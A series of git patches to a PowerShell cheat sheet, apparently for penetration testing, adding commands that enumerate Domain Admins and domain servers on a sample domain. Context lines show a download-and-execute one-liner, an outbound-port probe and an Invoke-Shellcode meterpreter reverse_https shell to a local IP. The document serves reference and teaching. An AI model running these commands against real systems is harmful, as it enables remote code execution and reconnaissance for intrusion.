From 103efe7d271cd09d6a9e598e979a2a1539194968 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 11:54:27 -0500 Subject: [PATCH 1/5] Add Powershell Active Directory Commands --- scripting/powershell.md | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/scripting/powershell.md b/scripting/powershell.md index fdcadbd..9fb2720 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -25,7 +25,7 @@ iex (New-Object Net.WebClient).DownloadString("http://host/file.txt") (new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe') ``` -**Enumerate Allowed Outbound Ports 1-1024** +**Enumerate Allowed Outbound Ports 1-1024 via [securitypadawan.blogspot.com](http://securitypadawan.blogspot.com/2013/04/quickly-determine-allowed-outbound-ports.html)** ``` $ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); @@ -63,4 +63,24 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 ### Translate SID to Username * **Command with arguments**: `((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-19")).translate([System.Security.Principal.NTAccount])).value` * **Output**: - *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
\ No newline at end of file + *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
+ + ## Using the PowerShell Active Directory Modules via (https://www.trustedsec.com/uncategorized/powershell-reconnaissance/) + ### Setting Credentials + * **Command with arguments**: `$cred = Get-Credential` + * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) + * **Output**: + *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
+ + ### Query to List "Domain Admins" + * **Command with arguments**: `Get-ADGroupMember -Credential $cred -server pwnt.com "Domain Admins"` + * **Output**: + *
**Windows 7:** Show/Hide

distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
+ + ### Enumerate All Servers on Domain" + * **Command with arguments**: `Get-ADComputer -Credential $cred -server pwnt.com -LDAPFilter "(&(objectCategory=computer)(opera +tingSystem=*Server*))" |select name` + * **Output**: + *
**Windows 7:** Show/Hide

name
----
PWNT-DC
+Exchange1
+SharePoint1
\ No newline at end of file From c0549ecd54192455c80d582a358c040c9ae2d407 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 11:57:08 -0500 Subject: [PATCH 2/5] minor edits --- scripting/powershell.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/scripting/powershell.md b/scripting/powershell.md index 9fb2720..a8248bc 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -65,22 +65,21 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 * **Output**: *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
- ## Using the PowerShell Active Directory Modules via (https://www.trustedsec.com/uncategorized/powershell-reconnaissance/) + ## Using the PowerShell Active Directory Modules + ### Via https://www.trustedsec.com/uncategorized/powershell-reconnaissance/ ### Setting Credentials * **Command with arguments**: `$cred = Get-Credential` - * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) - * **Output**: - *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
+ * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) ### Query to List "Domain Admins" * **Command with arguments**: `Get-ADGroupMember -Credential $cred -server pwnt.com "Domain Admins"` * **Output**: - *
**Windows 7:** Show/Hide

distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
+ *
**Windows 7:** Show/Hide
distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
### Enumerate All Servers on Domain" * **Command with arguments**: `Get-ADComputer -Credential $cred -server pwnt.com -LDAPFilter "(&(objectCategory=computer)(opera tingSystem=*Server*))" |select name` * **Output**: - *
**Windows 7:** Show/Hide

name
----
PWNT-DC
+ *
**Windows 7:** Show/Hide
name
----
PWNT-DC
Exchange1
SharePoint1
\ No newline at end of file From 8d3fa87e123b513bccfecd8d53312c6d25f00d34 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 11:57:30 -0500 Subject: [PATCH 3/5] Minor edits --- scripting/powershell.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripting/powershell.md b/scripting/powershell.md index a8248bc..6b70e7f 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -76,7 +76,7 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 * **Output**: *
**Windows 7:** Show/Hide
distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
- ### Enumerate All Servers on Domain" + ### Enumerate All Servers on Domain * **Command with arguments**: `Get-ADComputer -Credential $cred -server pwnt.com -LDAPFilter "(&(objectCategory=computer)(opera tingSystem=*Server*))" |select name` * **Output**: From cccac5fc4588a8537b6d2ed776b757fba345cab9 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 16:46:39 -0500 Subject: [PATCH 4/5] Updated install link --- scripting/powershell.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripting/powershell.md b/scripting/powershell.md index 6b70e7f..0957e99 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -69,7 +69,7 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 ### Via https://www.trustedsec.com/uncategorized/powershell-reconnaissance/ ### Setting Credentials * **Command with arguments**: `$cred = Get-Credential` - * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) + * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. Steps to install for Win7 are detailed [here] (http://blogs.msdn.com/b/rkramesh/archive/2012/01/17/how-to-add-active-directory-module-in-powershell-in-windows-7.aspx) ### Query to List "Domain Admins" * **Command with arguments**: `Get-ADGroupMember -Credential $cred -server pwnt.com "Domain Admins"` From 17cf5397f2c911081084d98d372d2091172e4d67 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 16:48:11 -0500 Subject: [PATCH 5/5] Update description --- scripting/powershell.md | 1 + 1 file changed, 1 insertion(+) diff --git a/scripting/powershell.md b/scripting/powershell.md index 0957e99..94bb7a7 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -69,6 +69,7 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 ### Via https://www.trustedsec.com/uncategorized/powershell-reconnaissance/ ### Setting Credentials * **Command with arguments**: `$cred = Get-Credential` + * **Description**: Stores valid credentials in the $cred variable for use with the Active Directory Modules. * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. Steps to install for Win7 are detailed [here] (http://blogs.msdn.com/b/rkramesh/archive/2012/01/17/how-to-add-active-directory-module-in-powershell-in-windows-7.aspx) ### Query to List "Domain Admins"